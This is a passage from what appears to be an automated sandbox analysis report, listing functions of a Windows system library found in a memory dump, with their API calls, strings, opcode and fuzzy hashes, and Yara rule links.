Instruction Fuzzy Hash: 7271C631A082168BDB14DAA8D960EFEB7F1EF46340FA445BDE865A7381DA3CC541C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6B48F820, Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

memcmp.1105(00000030,6B455138,00000010,00000000,00000001,-00000001), ref: 6B48F84C
RtlAcquireSRWLockExclusive.1105(00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6B48F883
RtlAcquireSRWLockExclusive.1105(6B5686AC,00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6B48F8C6

Part of subcall function 6B4A4D3B: memset.1105(?,00000000,000000A0,00000000,00000000,00000024), ref: 6B4A4D77
Part of subcall function 6B4A4D3B: RtlRunOnceExecuteOnce.1105(6B5686B0,6B4A5690,00000000,00000000,00000000,00000000,00000024), ref: 6B4A4D9E
Part of subcall function 6B4A4D3B: ZwTraceControl.1105(0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6B4A4DE9
Part of subcall function 6B4A4D3B: memcmp.1105(00000000,6B455138,00000010,0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6B4A4E26

RtlRbInsertNodeEx.1105(6B5686DC,?,00000000,00000000), ref: 6B48F931
RtlReleaseSRWLockExclusive.1105(6B5686AC,6B5686DC,?,00000000,00000000), ref: 6B48F93B
RtlReleaseSRWLockExclusive.1105(00000024,6B5686AC,6B5686DC,?,00000000,00000000), ref: 6B48F94F

Part of subcall function 6B4ABC2C: RtlAcquireSRWLockExclusive.1105(?,00000030,00000000,-00000001,6B48F875,00000000,00000000,00000000,00000001,-00000001), ref: 6B4ABC79
Part of subcall function 6B4ABC2C: RtlReleaseSRWLockExclusive.1105(?,?,00000030,00000000,-00000001,6B48F875,00000000,00000000,00000000,00000001,-00000001), ref: 6B4ABC8D
Part of subcall function 6B4ABC2C: RtlAllocateHeap.1105(?,00000008,000000D0,?,?,00000030,00000000,-00000001,6B48F875,00000000,00000000,00000000,00000001,-00000001), ref: 6B4ABCA6

RtlSetLastWin32Error.1105(00000057,00000000,00000001,-00000001), ref: 6B48F996
RtlReleaseSRWLockExclusive.1105(00000024,0000000A,00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6B4DBD78

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire$Oncememcmp$AllocateControlErrorExecuteHeapInsertLastNodeTraceWin32memset
String ID:
API String ID: 3014906823-0
Opcode ID: dd561777b8c710a707c811f4411b4bb38a46d7e5a8f53b429e2d6a42ec4943fe
Instruction ID: e50c7051d0783138fc24438382a7efcc479bb596354ab6604b9500dda069e014
Opcode Fuzzy Hash: dd561777b8c710a707c811f4411b4bb38a46d7e5a8f53b429e2d6a42ec4943fe
Instruction Fuzzy Hash: 73411571606706ABDB019F78D8A0FABB7F4AF45754F00096AED149A340EB3CD415CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6B475C07, Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 452COMMON

Download Yara Rule

APIs

_wcsnicmp.1105(?,xl--,00000004,?,?,?,?), ref: 6B475CC7

Strings

$, xrefs: 6B4D14C8
H, xrefs: 6B4D1428
xl--, xrefs: 6B475CB7
$, xrefs: 6B4D14CF
xn--, xrefs: 6B475CBE, 6B475CC5

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcsnicmp
String ID: $$$$H$xl--$xn--
API String ID: 1886669725-662589111
Opcode ID: 8ac56e1a3d4c3d62e0da1c0a62fb729d50b9816bf17ebc5e16af589834799ac1
Instruction ID: 420934db42d5df4f322b63f34ad42d1275723cc9231365bce6a4142a2a78b9ab
Opcode Fuzzy Hash: 8ac56e1a3d4c3d62e0da1c0a62fb729d50b9816bf17ebc5e16af589834799ac1
Instruction Fuzzy Hash: 96F1B271E042598BDF24DF68C494FEDB7B1EF45314F2481AAEA51AB384E73C9981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B4974C0, Relevance: 10.8, APIs: 7, Instructions: 264COMMON

Download Yara Rule

APIs

RtlEqualUnicodeString.1105(?,6B451040,00000001,?,00000024,01000000), ref: 6B49769A
RtlEqualUnicodeString.1105(?,6B451050,00000001,?,6B451040,00000001,?,00000024,01000000), ref: 6B4976AE
RtlEqualUnicodeString.1105(?,6B451048,00000001,?,6B451050,00000001,?,6B451040,00000001,?,00000024,01000000), ref: 6B4976C2
RtlEqualUnicodeString.1105(?,6B451058,00000001,?,6B451048,00000001,?,6B451050,00000001,?,6B451040,00000001,?,00000024,01000000), ref: 6B4976D6
RtlEqualUnicodeString.1105(000FFFF0,6B451060,00000001,6B451068,00000001,6B4518F8,00000001), ref: 6B497700
iswdigit.1105(000E6B45,6B451048,00000001,?,6B451050,00000001,?,6B451040,00000001,?,00000024,01000000), ref: 6B49771D
RtlEqualUnicodeString.1105(00100000,6B4518F8,00000001), ref: 6B4DF9B0

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: EqualStringUnicode$iswdigit
String ID:
API String ID: 3246613909-0
Opcode ID: 83ce3cd00a954a6b2da5cb504f18eb9a21ed8f15d87afee897917f5efb62339c
Instruction ID: a9e386fae2dfac0461351c723ec2588fb31372136bc06e5d5e1babc57a9746ed
Opcode Fuzzy Hash: 83ce3cd00a954a6b2da5cb504f18eb9a21ed8f15d87afee897917f5efb62339c
Instruction Fuzzy Hash: 6C814A7190C12195CB20BE5CE491FFDBBB1AF46724F5009ABE4A4D7680E73D8986C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 6B470B60, Relevance: 10.7, APIs: 7, Instructions: 234COMMON

Download Yara Rule

APIs

RtlIpv6StringToAddressW.1105(?,?,00000000,00000000), ref: 6B470BAA

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressIpv6String
String ID:
API String ID: 27538981-0
Opcode ID: b690b3803644220c55924738faed87d42b98be9f139281c8459cf90186e800ac
Instruction ID: e60ff86d2f81b18dfcb069ad79374a98420ed932b26720a2c167c71dfa1bbef0
Opcode Fuzzy Hash: b690b3803644220c55924738faed87d42b98be9f139281c8459cf90186e800ac
Instruction Fuzzy Hash: 8061287AA912019BEB38DAACCC82FFE73B29B15B28F11417AE450D73C0E73D9641C651

Uniqueness

Uniqueness Score: -1.00%

Function 6B478D29, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 200COMMON

Download Yara Rule

APIs

memcpy.1105(-00000030,?,00000000,?,00000000,?,?,6B4C17F0,00000000,?,00000000,?), ref: 6B478E86
memcpy.1105(-00000030,?,?,?,00000000,?,?,6B4C17F0,00000000,?,00000000,?), ref: 6B478EBF

Strings

SXS: %s() found activation context data at %p with assembly roster that has no root, xrefs: 6B4D3491
RtlpQueryInformationActivationContextDetailedInformation, xrefs: 6B4D348C

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: RtlpQueryInformationActivationContextDetailedInformation$SXS: %s() found activation context data at %p with assembly roster that has no root
API String ID: 3510742995-1732449319
Opcode ID: 5b6561ea8d2fedc1aa0f8cc23bcc755ec364f5f71a1381e35db1dcab4563e216
Instruction ID: 39c271836224ec1c31ac86fca20c58da56f9098f8172ad6d95b7daa6a7659182
Opcode Fuzzy Hash: 5b6561ea8d2fedc1aa0f8cc23bcc755ec364f5f71a1381e35db1dcab4563e216
Instruction Fuzzy Hash: BE713CB5A00219AFDB10DF59C880F9AB7F5FF48318F2545A9E818DB341D334E992CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6B4920A0, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 199COMMON

Download Yara Rule

APIs

RtlRaiseException.1105(?), ref: 6B4DD009
RtlRaiseException.1105(C0150010), ref: 6B4DD07A
DbgPrintEx.1105(00000033,00000002,SXS: %s() Active frame is not the frame being deactivated %p != %p,RtlDeactivateActivationContextUnsafeFast,?,0000002C,?,00000000,000000FF), ref: 6B4DD127
RtlRaiseException.1105(C0150010), ref: 6B4DD1C7

Strings

RtlDeactivateActivationContextUnsafeFast, xrefs: 6B4DD111
SXS: %s() Active frame is not the frame being deactivated %p != %p, xrefs: 6B4DD116

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise$Print
String ID: RtlDeactivateActivationContextUnsafeFast$SXS: %s() Active frame is not the frame being deactivated %p != %p
API String ID: 3901562751-4142264681
Opcode ID: 48f91480d7df47a457605e22f1a7c7ee8e55de47309eeb1a49fbeb7aabca36f6
Instruction ID: 87aa4e24cb4fa25c0a9e9aa94c71a94953965cb33e4e8c344f606235b48c4b1a
Opcode Fuzzy Hash: 48f91480d7df47a457605e22f1a7c7ee8e55de47309eeb1a49fbeb7aabca36f6
Instruction Fuzzy Hash: D68122B09483059FD300CF29C491B1AFBE0BB88388F104A6EE5999B351D779D686CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6B48A500, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

RtlValidSid.1105(00000050,?), ref: 6B48A523
wcscpy_s.1105(?,00000100,S-1-,?,00000050,?), ref: 6B48A54A

Part of subcall function 6B48A6C0: memcpy.1105(00000000,?,?,?,00000050,?,00000000), ref: 6B48A781

memcpy.1105(?,?,00000000,00000000,000000FC,?,?,00000050,?), ref: 6B48A663
RtlCreateUnicodeString.1105(?,?,00000000,000000FC,?,?,00000050,?), ref: 6B48A6A3
wcscat_s.1105(?,00000100,6B46292C,?,00000050,?), ref: 6B4DA2DB

Strings

S-1-, xrefs: 6B48A539

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$CreateStringUnicodeValidwcscat_swcscpy_s
String ID: S-1-
API String ID: 1445283056-1273753892
Opcode ID: 43e4618c0efa14f75cca0eee924f278ab684b6ecec1543733bdedefde2854121
Instruction ID: 55727887db4b52a25bd59de669cf423518d2bb89ed9cd5c4ec101da7d05fe66a
Opcode Fuzzy Hash: 43e4618c0efa14f75cca0eee924f278ab684b6ecec1543733bdedefde2854121
Instruction Fuzzy Hash: C15106B1D041695ADB248B3C8854FB9BBF4AF05304F0541AAD5A9E32C0E3BCDA94CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6B47CCC0, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 134COMMON

Download Yara Rule

APIs

DbgPrint.1105(RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,-00000F38,00000000,?,?), ref: 6B4D4E05
DbgPrint.1105(RTL: Edit ntos\rtl\generr.c to correct the problem,?,?,?,-00000F38,00000000,?,?), ref: 6B4D4E0F
DbgPrint.1105(RTL: ERROR_MR_MID_NOT_FOUND is being returned,?,-00000F38,00000000,?,?), ref: 6B4D4E1C

Strings

RTL: Edit ntos\rtl\generr.c to correct the problem, xrefs: 6B4D4E0A
RTL: ERROR_MR_MID_NOT_FOUND is being returned, xrefs: 6B4D4E17
RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping, xrefs: 6B4D4E00

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RTL: ERROR_MR_MID_NOT_FOUND is being returned$RTL: Edit ntos\rtl\generr.c to correct the problem$RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping
API String ID: 3558298466-1070408152
Opcode ID: e9fba1c024f3730dcb6153919425e7c0a35e03adbb0724ac797b8591692d4f4a
Instruction ID: 8aa7af18e0e667d9f020dd871193f634e67cb50a4e88f0d1a5075fd094cbf08b
Opcode Fuzzy Hash: e9fba1c024f3730dcb6153919425e7c0a35e03adbb0724ac797b8591692d4f4a
Instruction Fuzzy Hash: 31415777A046149BEB28EF58E850FF9B7A1EB45710F10023EEA11C3781EB3E9450C2A1

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A645B, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 109timeCOMMON

Download Yara Rule

APIs

memset.1105(?,00000000,00000030,?,00000000,00000000), ref: 6B4A6490
RtlDebugPrintTimes.1105(?,00000030,00000030,00000030), ref: 6B4A651A
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000), ref: 6B4A6553
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,00000000), ref: 6B4A6588

Strings

0, xrefs: 6B4A64E5
0, xrefs: 6B4A64FA

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireDebugPrintReleaseTimesmemset
String ID: 0$0
API String ID: 3207447552-203156872
Opcode ID: 9a216434d78bcbf42d17b0a976e95143dd2e2edf3784ebbbcf5eb76da19f4310
Instruction ID: 5753902aff66d8f836d1e7d9dd264e93e8c53ab9d3a86b63814bc856846685f1
Opcode Fuzzy Hash: 9a216434d78bcbf42d17b0a976e95143dd2e2edf3784ebbbcf5eb76da19f4310
Instruction Fuzzy Hash: 16412CB16087059FC300CF2CC444E56BBE8BB89718F044A6EF598DB341D739EA46CB96

Uniqueness

Uniqueness Score: -1.00%

Function 6B474510, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

DbgPrint.1105(RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,00000000,?,6B4E3AE2,C000000D,?,?,?,00000000,?,00000000,?,?), ref: 6B4D08F2
DbgPrint.1105(RTL: Edit ntos\rtl\generr.c to correct the problem,RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,00000000,?,6B4E3AE2,C000000D,?,?,?,00000000,?,00000000,?), ref: 6B4D08FC
DbgPrint.1105(RTL: ERROR_MR_MID_NOT_FOUND is being returned,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6B4D0909

Strings

RTL: Edit ntos\rtl\generr.c to correct the problem, xrefs: 6B4D08F7
RTL: ERROR_MR_MID_NOT_FOUND is being returned, xrefs: 6B4D0904
RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping, xrefs: 6B4D08ED

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RTL: ERROR_MR_MID_NOT_FOUND is being returned$RTL: Edit ntos\rtl\generr.c to correct the problem$RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping
API String ID: 3558298466-1070408152
Opcode ID: 87dd688d496aba121f2cdeb68c2f0a617f3c6160cfe2505e1861a1a5cfe7200b
Instruction ID: 8c58d0742b0de2b7c9745e5f6efaa6169f0c23d8eb8954b188911e918188ee01
Opcode Fuzzy Hash: 87dd688d496aba121f2cdeb68c2f0a617f3c6160cfe2505e1861a1a5cfe7200b
Instruction Fuzzy Hash: A321FF33A240158AEB34766D9860FF87356EB427D4F00027AF750D73D0EA6DC8A0C2A2

Uniqueness

Uniqueness Score: -1.00%

Function 6B48A8C0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlGetNtSystemRoot.1105(?,?), ref: 6B48A8F0
RtlAppendUnicodeToString.1105(02140000,00000000,?,?), ref: 6B48A8FD

Part of subcall function 6B48A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6B48A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6B48A9E2

RtlAppendUnicodeToString.1105(02140000,\SysWOW64,02140000,00000000,?,?), ref: 6B48A915
RtlPrefixUnicodeString.1105(02140000,?,00000001,02140000,\SysWOW64,02140000,00000000,?,?), ref: 6B48A924
RtlReplaceSystemDirectoryInPath.1105(02140000,0000014C,00000001,00000000,02140000,?,00000001,02140000,\SysWOW64,02140000,00000000,?,?), ref: 6B48A975

Strings

\SysWOW64, xrefs: 6B48A90F

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$AppendSystem$DirectoryPathPrefixReplaceRootmemmove
String ID: \SysWOW64
API String ID: 1880611629-3584015931
Opcode ID: aa919c581f415261e30680d8499fde7677a390a3fb6d514af28da033e1c2e16b
Instruction ID: be87028f911253d365d810ff78f311c85940d49896f0c2bc19a442e06200dd8b
Opcode Fuzzy Hash: aa919c581f415261e30680d8499fde7677a390a3fb6d514af28da033e1c2e16b
Instruction Fuzzy Hash: 17112E71901228B6CB20DBB4AC49FDEB3B8AF48714F1145DAE508A7180DB79EA45CE94

Uniqueness

Uniqueness Score: -1.00%

Function 6B53D8DF, Relevance: 9.2, APIs: 6, Instructions: 160timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(?,000000FE,?,?,?,?,6B53C9F8,000000FE), ref: 6B53D9D0
RtlAcquireSRWLockExclusive.1105(?,000000FE,?,?,?), ref: 6B53D9E6
RtlDebugPrintTimes.1105(?,?,?,000000FE,?,?,?,?,6B53C9F8,000000FE), ref: 6B53DA0E
RtlReleaseSRWLockExclusive.1105(?,000000FE,?,?,?), ref: 6B53DA6A
RtlReleaseSRWLockShared.1105(?,000000FE,?,?,?), ref: 6B53DA71
RtlReleaseSRWLockShared.1105(?,000000FE,?,?,?), ref: 6B53DA83

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$DebugPrintTimes
String ID:
API String ID: 675604559-0
Opcode ID: 05b297c54f987f5c77bb13eff6a0346758c899001752119a00841e03663ead46
Instruction ID: 5149726ca0bc5a11ca9ce05fa5e2ea6c4bc707524f71033c77a933cb8e4f627e
Opcode Fuzzy Hash: 05b297c54f987f5c77bb13eff6a0346758c899001752119a00841e03663ead46
Instruction Fuzzy Hash: 68510972E443299BEB00CF68C4907EDBBF5AF45324F154699D864A73D1E738D941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B503F4D, Relevance: 9.1, APIs: 6, Instructions: 130COMMON

Download Yara Rule

APIs

RtlpEnsureBufferSize.1105(00000000,?,-00000002,6B550890,0000001C,6B4DD659,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040,?), ref: 6B503FB4
memmove.1105(00000000,00000000,00000000,00000000,?,-00000002,6B550890,0000001C,6B4DD659,00020000,00000000,?,?,00000003,00000000,00000002), ref: 6B503FD9
RtlEnterCriticalSection.1105(6B5679A0,6B550890,0000001C,6B4DD659,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6B50401B
RtlExpandEnvironmentStrings_U.1105(00000000,?,00000000,?,6B550890,0000001C,6B4DD659,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040), ref: 6B50402D
RtlpEnsureBufferSize.1105(00000000,?,?,00000000,?,00000000,?,6B550890,0000001C,6B4DD659,00020000,00000000,?,?,00000003,00000000), ref: 6B504074
RtlExpandEnvironmentStrings_U.1105(00000000,?,?,00000000,00000000,?,?,00000000,?,00000000,?,6B550890,0000001C,6B4DD659,00020000,00000000), ref: 6B5040A0

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: BufferEnsureEnvironmentExpandRtlpSizeStrings_$CriticalEnterSectionmemmove
String ID:
API String ID: 1067925741-0
Opcode ID: 199b8155f4245da324c6c4ea67a24f4a8a7b2d87bd5415940f31943eda65845d
Instruction ID: ce86731333f5117e75cfaee88490c5c6ea489a4e4335a8b9851dd84f573c96be
Opcode Fuzzy Hash: 199b8155f4245da324c6c4ea67a24f4a8a7b2d87bd5415940f31943eda65845d
Instruction Fuzzy Hash: 8C41E475D006229AE721DF69C450FEEB7B4AF19B04F1145AAEC54EB244EB3C9C40CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6B475320, Relevance: 9.1, APIs: 6, Instructions: 91timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6B5685F0), ref: 6B475362
RtlClearBits.1105(?,?,00000001,6B5685F0), ref: 6B47538E
RtlAcquireSRWLockExclusive.1105(?,?,?,00000001,6B5685F0), ref: 6B4753A7

Part of subcall function 6B492280: RtlDllShutdownInProgress.1105(00000000), ref: 6B4922BA
Part of subcall function 6B492280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6B4923A3

RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000001,6B5685F0), ref: 6B4753F2
RtlReleaseSRWLockExclusive.1105(6B5685F0,6B5685F0), ref: 6B475400
RtlDebugPrintTimes.1105(?,?,?,?,00000001,6B5685F0), ref: 6B475422

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireRelease$AlertBitsClearDebugPrintProgressShutdownThreadTimesWait
String ID:
API String ID: 3225401293-0
Opcode ID: 51f3137f0bd1c6e758a9ad99225266bca649cea9ac7d63f271c157af644a63ce
Instruction ID: e486112c3e4d77fee852b516fae19623ec76f664cf6d97d32e588c0e81e9ddf7
Opcode Fuzzy Hash: 51f3137f0bd1c6e758a9ad99225266bca649cea9ac7d63f271c157af644a63ce
Instruction Fuzzy Hash: 7731CE726053019FD720EF28C482F9AB3A4EF41204F5508BDEA559F262DB38E805CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B4AFE34, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108libraryCOMMON

Download Yara Rule

APIs

RtlAppendUnicodeToString.1105(02BE0000,?), ref: 6B4AFEA6

Part of subcall function 6B48A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6B48A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6B48A9E2

LdrStandardizeSystemPath.1105(02BE0000,02BE0000,?), ref: 6B4AFEB4

Part of subcall function 6B48A8C0: RtlGetNtSystemRoot.1105(?,?), ref: 6B48A8F0
Part of subcall function 6B48A8C0: RtlAppendUnicodeToString.1105(02140000,00000000,?,?), ref: 6B48A8FD
Part of subcall function 6B48A8C0: RtlAppendUnicodeToString.1105(02140000,\SysWOW64,02140000,00000000,?,?), ref: 6B48A915
Part of subcall function 6B48A8C0: RtlPrefixUnicodeString.1105(02140000,?,00000001,02140000,\SysWOW64,02140000,00000000,?,?), ref: 6B48A924

Part of subcall function 6B4AFF2F: RtlGetNtSystemRoot.1105(?,?,?,?,?,6B4AFEC6,02BE0000,02BE0000,?), ref: 6B4AFF3C
Part of subcall function 6B4AFF2F: _wcsnicmp.1105(?,00000000,-00000002,?,?,?,?,?,6B4AFEC6,02BE0000,02BE0000,?), ref: 6B4AFF6E

Strings

\Windows, xrefs: 6B4EC11D

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$AppendSystem$Root$PathPrefixStandardize_wcsnicmpmemmove
String ID: \Windows
API String ID: 1616562977-3600636569
Opcode ID: 58f7e89d14aeb51a172c2b1e4f9bd9ba9262f16cd0d907bfe3bb5f5048803e9e
Instruction ID: 1e1b2a25702d979fe6e3b5b7e02097d0099661cc47cdbd5e2a241d6034366a5a
Opcode Fuzzy Hash: 58f7e89d14aeb51a172c2b1e4f9bd9ba9262f16cd0d907bfe3bb5f5048803e9e
Instruction Fuzzy Hash: B8319F369083019FC710CF28C441E5BBBE5AFD9214F01496EF9A8D7205EB38D9068BD2

Uniqueness

Uniqueness Score: -1.00%

Function 6B480225, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6B480315: memcpy.1105(6B567C54,?,00000040,00000000,00000000,000000FF,?,?,6B480254,6B54F868,00000038,6B47F563), ref: 6B480371
Part of subcall function 6B480315: memcpy.1105(?,?,?,?,0000FFFF,?,00000000,00000000,000000FF,?,?,6B480254,6B54F868,00000038,6B47F563), ref: 6B48042B

RtlActivateActivationContextUnsafeFast.1105 ref: 6B4802BA

Strings

LdrpProcessDetachNode, xrefs: 6B4D61D7
minkernel\ntdll\ldrsnap.c, xrefs: 6B4D61E1
$, xrefs: 6B48029C
Uninitializing DLL "%wZ" (Init routine: %p), xrefs: 6B4D61D0

Memory Dump Source

